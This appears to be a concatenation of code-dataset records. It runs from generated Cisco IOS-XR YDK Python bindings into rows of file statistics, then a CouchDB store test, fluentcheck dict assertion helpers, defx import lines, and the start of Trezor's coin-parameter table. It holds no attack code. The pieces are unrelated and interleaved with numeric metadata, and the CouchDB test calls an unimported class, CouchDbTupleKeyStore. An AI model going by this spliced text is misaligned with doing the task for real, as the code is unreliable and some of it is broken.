self._perform_setattr(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix, ['ipaddr', 'mask', 'label', 'prefix', 'label_xr', 'is_active'], name, value)
class BaseCounterStatistics(Entity):
"""
Base counter statistics
.. attribute:: transmit_packets_per_second_switched
Average Rate of Packets/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: packet/s
.. attribute:: transmit_bytes_per_second_switched
Average Rate of Bytes/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte/s
.. attribute:: count_history
Counter History
**type**\: list of :py:class:`CountHistory <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics.CountHistory>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics, self).__init__()
self.yang_name = "base-counter-statistics"
self.yang_parent_name = "prefix"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("count-history", ("count_history", TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics.CountHistory))])
self._leafs = OrderedDict([
('transmit_packets_per_second_switched', YLeaf(YType.uint64, 'transmit-packets-per-second-switched')),
('transmit_bytes_per_second_switched', YLeaf(YType.uint64, 'transmit-bytes-per-second-switched')),
])
self.transmit_packets_per_second_switched = None
self.transmit_bytes_per_second_switched = None
self.count_history = YList(self)
self._segment_path = lambda: "base-counter-statistics"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics, ['transmit_packets_per_second_switched', 'transmit_bytes_per_second_switched'], name, value)
class CountHistory(Entity):
"""
Counter History
.. attribute:: event_start_timestamp
Event Start timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: event_end_timestamp
Event End timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_packets_switched
Number of packets switched in this interval
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_bytes_switched
Number of Bytes switched in this interval
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: is_valid
Flag to indicate if this history entry is valid
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics.CountHistory, self).__init__()
self.yang_name = "count-history"
self.yang_parent_name = "base-counter-statistics"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('event_start_timestamp', YLeaf(YType.uint64, 'event-start-timestamp')),
('event_end_timestamp', YLeaf(YType.uint64, 'event-end-timestamp')),
('transmit_number_of_packets_switched', YLeaf(YType.uint64, 'transmit-number-of-packets-switched')),
('transmit_number_of_bytes_switched', YLeaf(YType.uint64, 'transmit-number-of-bytes-switched')),
('is_valid', YLeaf(YType.boolean, 'is-valid')),
])
self.event_start_timestamp = None
self.event_end_timestamp = None
self.transmit_number_of_packets_switched = None
self.transmit_number_of_bytes_switched = None
self.is_valid = None
self._segment_path = lambda: "count-history"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.BaseCounterStatistics.CountHistory, ['event_start_timestamp', 'event_end_timestamp', 'transmit_number_of_packets_switched', 'transmit_number_of_bytes_switched', 'is_valid'], name, value)
class TrafficMatrixCounterStatistics(Entity):
"""
Traffic Matrix (TM) counter statistics
.. attribute:: transmit_packets_per_second_switched
Average Rate of Packets/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: packet/s
.. attribute:: transmit_bytes_per_second_switched
Average Rate of Bytes/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte/s
.. attribute:: count_history
Counter History
**type**\: list of :py:class:`CountHistory <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics.CountHistory>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics, self).__init__()
self.yang_name = "traffic-matrix-counter-statistics"
self.yang_parent_name = "prefix"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("count-history", ("count_history", TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics.CountHistory))])
self._leafs = OrderedDict([
('transmit_packets_per_second_switched', YLeaf(YType.uint64, 'transmit-packets-per-second-switched')),
('transmit_bytes_per_second_switched', YLeaf(YType.uint64, 'transmit-bytes-per-second-switched')),
])
self.transmit_packets_per_second_switched = None
self.transmit_bytes_per_second_switched = None
self.count_history = YList(self)
self._segment_path = lambda: "traffic-matrix-counter-statistics"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics, ['transmit_packets_per_second_switched', 'transmit_bytes_per_second_switched'], name, value)
class CountHistory(Entity):
"""
Counter History
.. attribute:: event_start_timestamp
Event Start timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: event_end_timestamp
Event End timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_packets_switched
Number of packets switched in this interval
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_bytes_switched
Number of Bytes switched in this interval
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: is_valid
Flag to indicate if this history entry is valid
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics.CountHistory, self).__init__()
self.yang_name = "count-history"
self.yang_parent_name = "traffic-matrix-counter-statistics"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('event_start_timestamp', YLeaf(YType.uint64, 'event-start-timestamp')),
('event_end_timestamp', YLeaf(YType.uint64, 'event-end-timestamp')),
('transmit_number_of_packets_switched', YLeaf(YType.uint64, 'transmit-number-of-packets-switched')),
('transmit_number_of_bytes_switched', YLeaf(YType.uint64, 'transmit-number-of-bytes-switched')),
('is_valid', YLeaf(YType.boolean, 'is-valid')),
])
self.event_start_timestamp = None
self.event_end_timestamp = None
self.transmit_number_of_packets_switched = None
self.transmit_number_of_bytes_switched = None
self.is_valid = None
self._segment_path = lambda: "count-history"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Prefixes.Prefix.TrafficMatrixCounterStatistics.CountHistory, ['event_start_timestamp', 'event_end_timestamp', 'transmit_number_of_packets_switched', 'transmit_number_of_bytes_switched', 'is_valid'], name, value)
class Tunnels(Entity):
"""
Tunnels
.. attribute:: tunnel
Tunnel information
**type**\: list of :py:class:`Tunnel <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Tunnels, self).__init__()
self.yang_name = "tunnels"
self.yang_parent_name = "counters"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("tunnel", ("tunnel", TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel))])
self._leafs = OrderedDict()
self.tunnel = YList(self)
self._segment_path = lambda: "tunnels"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Tunnels, [], name, value)
class Tunnel(Entity):
"""
Tunnel information
.. attribute:: interface_name (key)
The Interface Name
**type**\: str
**pattern:** [a\-zA\-Z0\-9./\-]+
.. attribute:: base_counter_statistics
Base counter statistics
**type**\: :py:class:`BaseCounterStatistics <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics>`
.. attribute:: interface_name_xr
Interface name in Display format
**type**\: str
.. attribute:: interface_handle
Interface handle
**type**\: int
**range:** 0..4294967295
.. attribute:: vrfid
Interface VRF ID
**type**\: int
**range:** 0..4294967295
.. attribute:: is_active
Interface is Active and collecting new Statistics
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel, self).__init__()
self.yang_name = "tunnel"
self.yang_parent_name = "tunnels"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = ['interface_name']
self._child_container_classes = OrderedDict([("base-counter-statistics", ("base_counter_statistics", TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('interface_name', YLeaf(YType.str, 'interface-name')),
('interface_name_xr', YLeaf(YType.str, 'interface-name-xr')),
('interface_handle', YLeaf(YType.uint32, 'interface-handle')),
('vrfid', YLeaf(YType.uint32, 'vrfid')),
('is_active', YLeaf(YType.boolean, 'is-active')),
])
self.interface_name = None
self.interface_name_xr = None
self.interface_handle = None
self.vrfid = None
self.is_active = None
self.base_counter_statistics = TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics()
self.base_counter_statistics.parent = self
self._children_name_map["base_counter_statistics"] = "base-counter-statistics"
self._children_yang_names.add("base-counter-statistics")
self._segment_path = lambda: "tunnel" + "[interface-name='" + str(self.interface_name) + "']"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel, ['interface_name', 'interface_name_xr', 'interface_handle', 'vrfid', 'is_active'], name, value)
class BaseCounterStatistics(Entity):
"""
Base counter statistics
.. attribute:: transmit_packets_per_second_switched
Average Rate of Packets/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: packet/s
.. attribute:: transmit_bytes_per_second_switched
Average Rate of Bytes/second switched
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte/s
.. attribute:: count_history
Counter History
**type**\: list of :py:class:`CountHistory <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics.CountHistory>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics, self).__init__()
self.yang_name = "base-counter-statistics"
self.yang_parent_name = "tunnel"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("count-history", ("count_history", TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics.CountHistory))])
self._leafs = OrderedDict([
('transmit_packets_per_second_switched', YLeaf(YType.uint64, 'transmit-packets-per-second-switched')),
('transmit_bytes_per_second_switched', YLeaf(YType.uint64, 'transmit-bytes-per-second-switched')),
])
self.transmit_packets_per_second_switched = None
self.transmit_bytes_per_second_switched = None
self.count_history = YList(self)
self._segment_path = lambda: "base-counter-statistics"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics, ['transmit_packets_per_second_switched', 'transmit_bytes_per_second_switched'], name, value)
class CountHistory(Entity):
"""
Counter History
.. attribute:: event_start_timestamp
Event Start timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: event_end_timestamp
Event End timestamp
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_packets_switched
Number of packets switched in this interval
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: transmit_number_of_bytes_switched
Number of Bytes switched in this interval
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: is_valid
Flag to indicate if this history entry is valid
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics.CountHistory, self).__init__()
self.yang_name = "count-history"
self.yang_parent_name = "base-counter-statistics"
self.is_top_level_class = False
self.has_list_ancestor = True
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('event_start_timestamp', YLeaf(YType.uint64, 'event-start-timestamp')),
('event_end_timestamp', YLeaf(YType.uint64, 'event-end-timestamp')),
('transmit_number_of_packets_switched', YLeaf(YType.uint64, 'transmit-number-of-packets-switched')),
('transmit_number_of_bytes_switched', YLeaf(YType.uint64, 'transmit-number-of-bytes-switched')),
('is_valid', YLeaf(YType.boolean, 'is-valid')),
])
self.event_start_timestamp = None
self.event_end_timestamp = None
self.transmit_number_of_packets_switched = None
self.transmit_number_of_bytes_switched = None
self.is_valid = None
self._segment_path = lambda: "count-history"
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Afs.Af.Counters.Tunnels.Tunnel.BaseCounterStatistics.CountHistory, ['event_start_timestamp', 'event_end_timestamp', 'transmit_number_of_packets_switched', 'transmit_number_of_bytes_switched', 'is_valid'], name, value)
def clone_ptr(self):
self._top_entity = TrafficCollector()
return self._top_entity
| 50.915754
| 410
| 0.453059
| 8,914
| 120,874
| 5.829482
| 0.027485
| 0.023401
| 0.024517
| 0.017762
| 0.925333
| 0.903876
| 0.881456
| 0.870006
| 0.856189
| 0.85234
| 0
| 0.027834
| 0.465286
| 120,874
| 2,373
| 411
| 50.93721
| 0.776152
| 0.1957
| 0
| 0.773347
| 0
| 0.006296
| 0.155482
| 0.09494
| 0
| 0
| 0
| 0
| 0
| 1
| 0.075551
| false
| 0
| 0.005247
| 0
| 0.126967
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c4d3dd8544485cb616bb0f6c9c01fc23d33279a8
| 1,238
|
py
|
Python
|
couchdol/tests/test_simple.py
|
i2mint/couchdol
|
985affa6a1696296e2ad3827f0083602a6a7f4ce
|
[
"Apache-2.0"
] | 3
|
2021-04-09T11:52:45.000Z
|
2021-11-08T12:51:06.000Z
|
couchdol/tests/test_simple.py
|
i2mint/couchdol
|
985affa6a1696296e2ad3827f0083602a6a7f4ce
|
[
"Apache-2.0"
] | null | null | null |
couchdol/tests/test_simple.py
|
i2mint/couchdol
|
985affa6a1696296e2ad3827f0083602a6a7f4ce
|
[
"Apache-2.0"
] | 1
|
2021-04-10T19:00:46.000Z
|
2021-04-10T19:00:46.000Z
|
from couchdol import CouchDbStore
def test_couchdb_store(s=CouchDbStore(), k=None, v=None):
if k is None:
k = {"_id": "foo"}
if v is None:
v = {"val": "bar"}
if k in s: # deleting all docs in tmp
del s[k]
assert (
k in s
) is False # see that key is not in store (and testing __contains__)
orig_length = len(s)
s[k] = v
assert len(s) == orig_length + 1
assert k in list(s)
assert s[k] == v
assert s.get(k) == v
assert v in list(s.values())
assert (k in s) is True # testing __contains__ again
del s[k]
assert len(s) == 0
# tuple as key test
s = CouchDbTupleKeyStore(key_fields=("_id", "user"))
k = (1234, "user")
v = {"name": "bob", "age": 42}
if k in s: # deleting all docs in tmp
del s[k]
assert (
k in s
) is False # see that key is not in store (and testing __contains__)
orig_length = len(s)
s[k] = v
assert len(s) == orig_length + 1
assert k in list(s)
assert s[k] == v
assert s.get(k) == v
assert v in list(s.values())
assert (k in s) is True # testing __contains__ again
del s[k]
assert len(s) == orig_length
| 28.136364
| 80
| 0.546042
| 201
| 1,238
| 3.233831
| 0.263682
| 0.036923
| 0.036923
| 0.067692
| 0.729231
| 0.713846
| 0.713846
| 0.713846
| 0.713846
| 0.713846
| 0
| 0.010922
| 0.33441
| 1,238
| 43
| 81
| 28.790698
| 0.777913
| 0.188207
| 0
| 0.717949
| 0
| 0
| 0.033099
| 0
| 0
| 0
| 0
| 0
| 0.410256
| 1
| 0.025641
| false
| 0
| 0.025641
| 0
| 0.051282
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1ef3f6d8a5143ddd78ebdc93224c2e1c26da956a
| 1,193
|
py
|
Python
|
fluentcheck/assertions_check/dicts.py
|
sheikhjebran/fluentassert
|
b3d0dd90e8f074aca19bee577976528686624593
|
[
"MIT"
] | 83
|
2018-05-31T13:21:06.000Z
|
2022-03-20T14:27:49.000Z
|
fluentcheck/assertions_check/dicts.py
|
imbi7py/fluentcheck
|
f9fa758c32e38677700b96b824ad819ba724c00b
|
[
"MIT"
] | 20
|
2019-02-10T15:07:44.000Z
|
2021-04-02T13:18:52.000Z
|
fluentcheck/assertions_check/dicts.py
|
imbi7py/fluentcheck
|
f9fa758c32e38677700b96b824ad819ba724c00b
|
[
"MIT"
] | 11
|
2019-02-16T21:33:11.000Z
|
2022-03-25T03:39:52.000Z
|
from ..exceptions import CheckError
def is_dict(check_obj):
try:
assert isinstance(check_obj._val, dict)
return check_obj
except AssertionError as e:
raise CheckError('{} is not a dict'.format(check_obj._val)) from e
def is_not_dict(check_obj):
try:
assert not isinstance(check_obj._val, dict)
return check_obj
except AssertionError as e:
raise CheckError('{} is a dict'.format(check_obj._val)) from e
def has_keys(check_obj, *args):
check_obj.is_dict()
cur_key = ''
try:
for key in args:
cur_key = key
assert key in check_obj._val
return check_obj
except AssertionError as e:
raise CheckError('{} does not contain key: {}'.format(check_obj._val,
cur_key)) from e
def has_not_keys(check_obj, *args):
check_obj.is_dict()
cur_key = ''
try:
for key in args:
cur_key = key
assert not key in check_obj._val
return check_obj
except AssertionError as e:
raise CheckError('{} does contains key: {}'.format(check_obj._val, cur_key)) from e
| 27.744186
| 91
| 0.601006
| 162
| 1,193
| 4.179012
| 0.197531
| 0.212703
| 0.129985
| 0.118168
| 0.883309
| 0.82127
| 0.82127
| 0.82127
| 0.82127
| 0.641064
| 0
| 0
| 0.315172
| 1,193
| 42
| 92
| 28.404762
| 0.828641
| 0
| 0
| 0.588235
| 0
| 0
| 0.06622
| 0
| 0
| 0
| 0
| 0
| 0.235294
| 1
| 0.117647
| false
| 0
| 0.029412
| 0
| 0.264706
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
481f4e1be63a8f75c06a13d4e76d7068a01df26f
| 140
|
py
|
Python
|
defx/dataset_readers/__init__.py
|
DFKI-NLP/defx
|
0c8b7a5ff4904a54e28f187b938198744e4a450a
|
[
"MIT"
] | 5
|
2020-04-29T07:41:58.000Z
|
2021-12-09T10:07:08.000Z
|
defx/dataset_readers/__init__.py
|
DFKI-NLP/defx
|
0c8b7a5ff4904a54e28f187b938198744e4a450a
|
[
"MIT"
] | 1
|
2020-10-17T16:51:06.000Z
|
2020-10-27T13:44:35.000Z
|
defx/dataset_readers/__init__.py
|
DFKI-NLP/defx
|
0c8b7a5ff4904a54e28f187b938198744e4a450a
|
[
"MIT"
] | null | null | null |
from defx.dataset_readers.deft_subtask1_reader import DeftSubtask1Reader
from defx.dataset_readers.deft_jsonl_reader import DeftJsonlReader
| 46.666667
| 72
| 0.914286
| 18
| 140
| 6.777778
| 0.611111
| 0.131148
| 0.245902
| 0.360656
| 0.42623
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015152
| 0.057143
| 140
| 2
| 73
| 70
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
484a9e2e45a0a957785074db9d0833cec62f860c
| 34,296
|
py
|
Python
|
core/src/apps/common/coininfo.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | null | null | null |
core/src/apps/common/coininfo.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | 1
|
2019-02-08T00:22:42.000Z
|
2019-02-13T09:41:54.000Z
|
core/src/apps/common/coininfo.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | 2
|
2019-02-07T23:57:09.000Z
|
2020-10-21T07:07:27.000Z
|
# generated from coininfo.py.mako
# do not edit manually!
from trezor.crypto.base58 import blake256d_32, groestl512d_32, keccak_32, sha256d_32
from trezor.crypto.scripts import blake256_ripemd160_digest, sha256_ripemd160_digest
class CoinInfo:
def __init__(
self,
coin_name: str,
coin_shortcut: str,
address_type: int,
address_type_p2sh: int,
maxfee_kb: int,
signed_message_header: str,
xpub_magic: int,
xpub_magic_segwit_p2sh: int,
xpub_magic_segwit_native: int,
bech32_prefix: str,
cashaddr_prefix: str,
slip44: int,
segwit: bool,
fork_id: int,
force_bip143: bool,
bip115: bool,
decred: bool,
curve_name: str,
):
self.coin_name = coin_name
self.coin_shortcut = coin_shortcut
self.address_type = address_type
self.address_type_p2sh = address_type_p2sh
self.maxfee_kb = maxfee_kb
self.signed_message_header = signed_message_header
self.xpub_magic = xpub_magic
self.xpub_magic_segwit_p2sh = xpub_magic_segwit_p2sh
self.xpub_magic_segwit_native = xpub_magic_segwit_native
self.bech32_prefix = bech32_prefix
self.cashaddr_prefix = cashaddr_prefix
self.slip44 = slip44
self.segwit = segwit
self.fork_id = fork_id
self.force_bip143 = force_bip143
self.bip115 = bip115
self.decred = decred
self.curve_name = curve_name
if curve_name == "secp256k1-groestl":
self.b58_hash = groestl512d_32
self.sign_hash_double = False
self.script_hash = sha256_ripemd160_digest
elif curve_name == "secp256k1-decred":
self.b58_hash = blake256d_32
self.sign_hash_double = False
self.script_hash = blake256_ripemd160_digest
elif curve_name == "secp256k1-smart":
self.b58_hash = keccak_32
self.sign_hash_double = False
self.script_hash = sha256_ripemd160_digest
else:
self.b58_hash = sha256d_32
self.sign_hash_double = True
self.script_hash = sha256_ripemd160_digest
# fmt: off
COINS = [
CoinInfo(
coin_name="Bitcoin",
coin_shortcut="BTC",
address_type=0,
address_type_p2sh=5,
maxfee_kb=2000000,
signed_message_header="Bitcoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="bc",
cashaddr_prefix=None,
slip44=0,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Testnet",
coin_shortcut="TEST",
address_type=111,
address_type_p2sh=196,
maxfee_kb=10000000,
signed_message_header="Bitcoin Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=0x044a5262,
xpub_magic_segwit_native=0x045f1cf6,
bech32_prefix="tb",
cashaddr_prefix=None,
slip44=1,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Actinium",
coin_shortcut="ACM",
address_type=53,
address_type_p2sh=55,
maxfee_kb=40000000,
signed_message_header="Actinium Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="acm",
cashaddr_prefix=None,
slip44=228,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Axe",
coin_shortcut="AXE",
address_type=55,
address_type_p2sh=16,
maxfee_kb=100000,
signed_message_header="DarkCoin Signed Message:\n",
xpub_magic=0x02fe52cc,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=4242,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="BitCash",
coin_shortcut="BITC",
address_type=230,
address_type_p2sh=235,
maxfee_kb=30000000,
signed_message_header="Bitcash Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=230,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Bitcloud",
coin_shortcut="BTDX",
address_type=25,
address_type_p2sh=5,
maxfee_kb=1000000,
signed_message_header="Diamond Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=218,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Bcash",
coin_shortcut="BCH",
address_type=0,
address_type_p2sh=5,
maxfee_kb=500000,
signed_message_header="Bitcoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix="bitcoincash",
slip44=145,
segwit=False,
fork_id=0,
force_bip143=True,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Bcash Testnet",
coin_shortcut="TBCH",
address_type=111,
address_type_p2sh=196,
maxfee_kb=10000000,
signed_message_header="Bitcoin Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix="bchtest",
slip44=1,
segwit=False,
fork_id=0,
force_bip143=True,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Bgold",
coin_shortcut="BTG",
address_type=38,
address_type_p2sh=23,
maxfee_kb=500000,
signed_message_header="Bitcoin Gold Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="btg",
cashaddr_prefix=None,
slip44=156,
segwit=True,
fork_id=79,
force_bip143=True,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Bgold Testnet",
coin_shortcut="TBTG",
address_type=111,
address_type_p2sh=196,
maxfee_kb=500000,
signed_message_header="Bitcoin Gold Signed Message:\n",
xpub_magic=0x043587cf,
xpub_magic_segwit_p2sh=0x044a5262,
xpub_magic_segwit_native=0x045f1cf6,
bech32_prefix="tbtg",
cashaddr_prefix=None,
slip44=156,
segwit=True,
fork_id=79,
force_bip143=True,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Bprivate",
coin_shortcut="BTCP",
address_type=4901,
address_type_p2sh=5039,
maxfee_kb=1000000,
signed_message_header="BitcoinPrivate Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=183,
segwit=False,
fork_id=42,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Bitcore",
coin_shortcut="BTX",
address_type=3,
address_type_p2sh=125,
maxfee_kb=2000000,
signed_message_header="BitCore Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="btx",
cashaddr_prefix=None,
slip44=160,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Bitsend",
coin_shortcut="BSD",
address_type=102,
address_type_p2sh=5,
maxfee_kb=1000000,
signed_message_header="Bitsend Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=0x049d7cb2,
xpub_magic_segwit_native=0x04b24746,
bech32_prefix="bsd",
cashaddr_prefix=None,
slip44=91,
segwit=True,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
CoinInfo(
coin_name="Capricoin",
coin_shortcut="CPC",
address_type=28,
address_type_p2sh=35,
maxfee_kb=2000000,
signed_message_header="Capricoin Signed Message:\n",
xpub_magic=0x0488b21e,
xpub_magic_segwit_p2sh=None,
xpub_magic_segwit_native=None,
bech32_prefix=None,
cashaddr_prefix=None,
slip44=289,
segwit=False,
fork_id=None,
force_bip143=False,
bip115=False,
decred=False,
curve_name='secp256k1',
),
